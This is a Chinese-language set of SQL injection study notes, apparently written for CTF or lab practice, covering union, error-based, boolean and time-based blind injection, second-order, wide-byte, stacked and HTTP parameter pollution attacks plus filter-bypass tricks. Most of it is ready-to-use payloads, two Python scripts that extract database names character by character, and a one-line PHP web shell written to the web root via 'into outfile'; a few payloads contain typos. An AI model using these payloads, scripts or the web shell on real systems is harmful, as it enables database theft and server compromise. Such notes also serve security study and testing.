Sql注入笔记
存在回显
存在回显的意思是在执行sql语句时,页面返回了sql语句执行后的结果,否则是无回显。
联合注入
这种方式通过关键字union
来拼接我们想要执行的sql语句,不过需要注意的是联合注入前后的字段数要保持一致,并且如果返回的数据只有一行的话,前面的sql语句返回结果必须为空。
这是sql的查询语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
在进行注入之前还有判断拼接$id(举例)
的是什么符号,比如$id
,'$id'
,"$id"
,('$id')
,("$id")
,($id)
等等,这里的拼接语句用单引号示例。
- 爆字段长度:
-1' order by (数字)--+
- 爆库名
-1' union select 1,...,group_concat(schema_name) from information_schema.schemata--+
- 爆表名
-1' union select 1,...,group_concat(table_name) from information_schema.tables where table_schema='库名'--+
- 爆字段名
-1' union select 1,...,group_concat(column_name) from information_schemata.columns where table_schema='库名' and table_name='表名'--+
这里有一点需要注意的是,group_concat()
,concat_ws()
和concat()
三个函数可以相互替换的。
不存在回显
对于不存在回显的情况,又可以通过是否返回报错信息将注入方法分为两种:
- 返回报错信息的,使用报错注入;
- 不返回报错信息的,使用盲注。
这两种方式的原因就是在源码中是否存在:
print_r(mysql_error());
报错注入
原理就是有些特殊的函数会在报错信息中返回参数的值。典型的几个特殊函数有exp()
,extractvalue()
,updatexml
,rand()+group()+count()
.
extractvlaue()
- 函数语法:
extractvalue(XML_document,XPath_string);
- 利用原理:如果
XPath_string
的格式不符合xpath
格式就会产生错误,返回参数的信息,而我们通常利用concat()
将~
与我们注入的语句拼接在一起从而产生错误。
- 爆库名
1' and extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata)))--+
- 爆表名
1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='库名')))--+
- 爆字段名
1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名')))--+
updatexml()
- 函数语法:
updatexml(XML_document,XPath_string,new_vvalue)
- 利用原理:和
extractvalue()
原理一样
- 爆库名
1' and updatexml(1,concat('~',(select group_concat(schema_name) from information_schema.schemata)),1)--+
- 爆表名
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='库名')),1)--+
- 爆字段名
1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='库名')),1)--+
exp()
- 函数语法:
exp(int)
- 利用原理:该函数会返回e的x次方,但是
mysql
能记录的double
数值范围有限,一旦超过范围就会报错。而我们在利用的时候会在注入语句前加上运算符'~',将字符串经过处理后变成大整数从而使mysql
报错。
- 爆库名
1' and exp(~(select * from(select group_concat(schema_name) from information_schema.schemata)))--+
- 爆表名
1' and exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema='库名')))--+
- 爆字段名
1' and exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名')))--+
rand()+group()+count()
- 利用原理:简单来说就是在
group_by()
语句执行的时候,一行一行的扫描原始表的x字段与虚拟表对比进行一次运算,如果虚拟表中不存在则会插入,但是在插入之前又会进行一次运算,这时运算后的拼接结果就会与之前的结果不同并且可能在虚拟表中之前存在,又因为主键不能重复所以就会报错。
- 爆库名
-1' union select 1,..,count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2)) as x from information_schema.tables group by x--+
- 爆表名
-1' union select 1,..,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='库名'),floor(rand(0)*2)) as x from information_schema.tables group by x--+
- 字段名
-1' union select 1,..,count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'),floor(rand(0)*2)) as x from information_schema.tables group by x--+
盲注
布尔盲注
select * from users where username=$username or (condition)
这里如果condition
为真的话,整条语句都为真,而如果我们输入的用户名根本不存在的话,返回结果也依然存在,利用这一特性我们就可以我们构造的语句是否正确。
-1' or length(select database())>8--+
类似这样的语句对我们想要获取的数据进行猜测。
而用于布尔盲注的函数有:
left(arg,length)
:截取arg
左边length长度的字符;substr(expression,start,length)
:从expression
第start
个字符开始截取,截取的长度为length
;substring(expression,start,length)
:作用和上面一样,通常与ascii()
函数一起使用;
上面的函数都是比较常见的,还有一些截取字符串的函数:mid()
,ascii()
函数也可以用hex()
,bin()
函数替代
利用方式:
1' and ascii(substring((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1}--+
1' and substring((select group_concat(schema_name) from information_schema.schemata),{0},1)='{1}'--+
1' and ascii(left(select group_concat(schema_name) from information_schema.schemata),{0})={1}--+
1' and left((select group_concat(schema_name) from information_schema.schemata),{0})='{1}'--+
盲注脚本:
import requests
import string
mystring = string.printable #所有可见字符
url=''
url+='?id=-1\' or (substring((select group_concat(schema_name) from information_schema.schemata),{0},1)=\'{1}\') -- -'
reply='You are in...........'
print(url)
count = 1
result = ''
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
#print(url.format(count,char))
if bytes(reply,'UTF-8') in response.content:
result+=char
print(result+'......')
break
if result==temp_result:
print('Complete!')
break
if '+++' in result:
# result有时候以很多+结尾,我还没搞清楚为什么
print('result: '+result[0:-3])
break
count+=1
时间盲注
时间盲注的关键是通过返回内容的响应时间差异进行条件判断
用于时间盲注的函数:
sleep(N)
:可以让语句运行N
秒中`;benchmark(count,exprssion)
:重复coutn
次执行表达式exprssion
;if(expr1,expr2,expr3)
:如果expr1
是真的话,返回值为expr2
,否则返回值为expr3
;case when expr1 then expr2 else expr3 end
:用法与上面一致。
放出脚本:
import requests
import string
url=''
url+='?id=1\' and (select case when (substring((select group_concat(schema_name) from information_schema.schemata) from {0} for 1)=%27{1}%27) then sleep(2) else 1 end)-- -'
mystring=string.printable
count = 1
result = ''
while(True):
temp_result=result
for char in mystring:
try:
response=requests.get(url.format(count,char),timeout=2)
except requests.exceptions.ReadTimeout:
result+=char
print(result+'......')
break
if result==temp_result:
print('result: '+result)
break
if '+++' in result:
print('result: '+result)
break
count+=1
UA,Referer,Cookie注入
这三种注入其实差不多,都是因为传入的值与sql
语句进行了拼接。
一般使用报错注入,这里就不再详细说明了
Dump Into File
mysql常见的写文件操作有:
select '<?php eval/assert($_POST['cmd']); ?>' into outfile 'var/www/html/1.php';
select '<?php eval/assert($_POST['cmd']); ?>' into dumpfile 'var/www/html/1.php';
但是这样限制较多:
- 需要知道目标目录的绝对目录地址;
- 目标目录可写且有足够的权限;
secure-file-priv
无值或可利用的目录。
二次注入
二次的注入的原理很简单,就是攻击者构造的恶意payload
首先被服务器存储在书记库,在之后去除数据库在进行sql
语句的拼接时产生sql
注入问题。
假如我们的查询当前登录的用户信息的sql
语句如下:
select * from users where username='$_SESSION['username']'
我们在登录之前注册了一个名为admin'#
的用户名,在进行登录操作时,我们再用admin'#
登录,并将用户部分数据存储在对于的SESSION中
,如$_SESSION['username']
。直接拼接到了sql
语句中:
select * from users where username='admin' #'
这样就可以以管理员的身份登录系统。
宽字节注入
这样的注入在源码都会使用一些对特殊字符进行转义,比如:
addslashes
:字符'、"、\前边会被添加上一条反斜杠\作为转义字符;多个空格被过滤成一个空格。
类似的函数还有mysql_real_escape_string()
。这里还必须要有的一条语句:
$conn->query("set names 'gbk';");
我们要跳出转义函数的限制,可以在被转义字符之前加上%df
,%df
会与''进行拼接得到%df%5c
,经过gbk
解码就会得到運
,拼接语句就会变为:
select * from users where username = '運'or 1=1#' and password='123';
因为php
的编码为UTF-8
,我们输入的内容%df%27
就会被当作是两个字符,这样就可以使被转义字符逃逸出来。
堆叠注入
实现堆叠注入在源码中必须有个条件:
mysqli_multi_query($con1, $sql);
它可以执行一个或多个对数据库的查询,用分号隔开。
注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面。建议使用union联合注入,若无法使用联合注入, 可考虑使用RENAME
关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。
用此方法可以执行其它语句,如insert
,drop
等。
HTTP参数污染
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
通俗一点就是前面的参数在tomcat服务器出做数据过滤和处理,类似于一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP。
所以这里可以传两个参数,一个绕过WAF,后面一个用于攻击。
?id=1&id=-1' union select database()--+
过滤
and/or 被过滤
- 双写:
aandnd
、oorr
(一般源码里使用了preg_replace()
函数); - 使用运算符:
and==&&
,or==||
; - 直接拼接
=
号:?id=1=(condition)
; - 其他方法,如:
?id=1^(condition)
。
空格被过滤
- 多层括号嵌套:一般使用报错注入;
- 改用+号;
and/or
后面可以跟上偶数个!、~可以替代空格,也可以混合使用(规律又不同),and/or
前的空格可省略;%09, %0a, %0b, %0c, %0d, %a0
等部分不可见字符可也代替空格。
括号被过滤
order by
大小比较盲注。
逗号被过滤
- 使用
from
;
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
- 使用
join
;
union select 1,2; #等价于
union select * from (select 1)a join (select 2)b;
- 使用
offset
;
select * from news limit 0,1;
# 等价于下面这条SQL语句
select * from news limit 1 offset 0;
其它系统关键字被过滤
- 双写绕过关键字过滤;
- 使用同义函数/语句代替,如if函数可用
case when condition then 1 else 0 end
语句代替; - 使用大小写过滤。
单引号被过滤
- 需要跳出单引号的情况:尝试是否存在编码问题而产生的SQL注入。
- 不需要跳出单引号的情况:字符串可用十六进制表示、也可通过进制转换函数表示成其他进制。
select column_name from information_schema.tables where table_name="users";
#等价于
select column_name from information_schema.tables where table_name=0x7573657273;
注释符被过滤
- 用
and '1'='1
闭合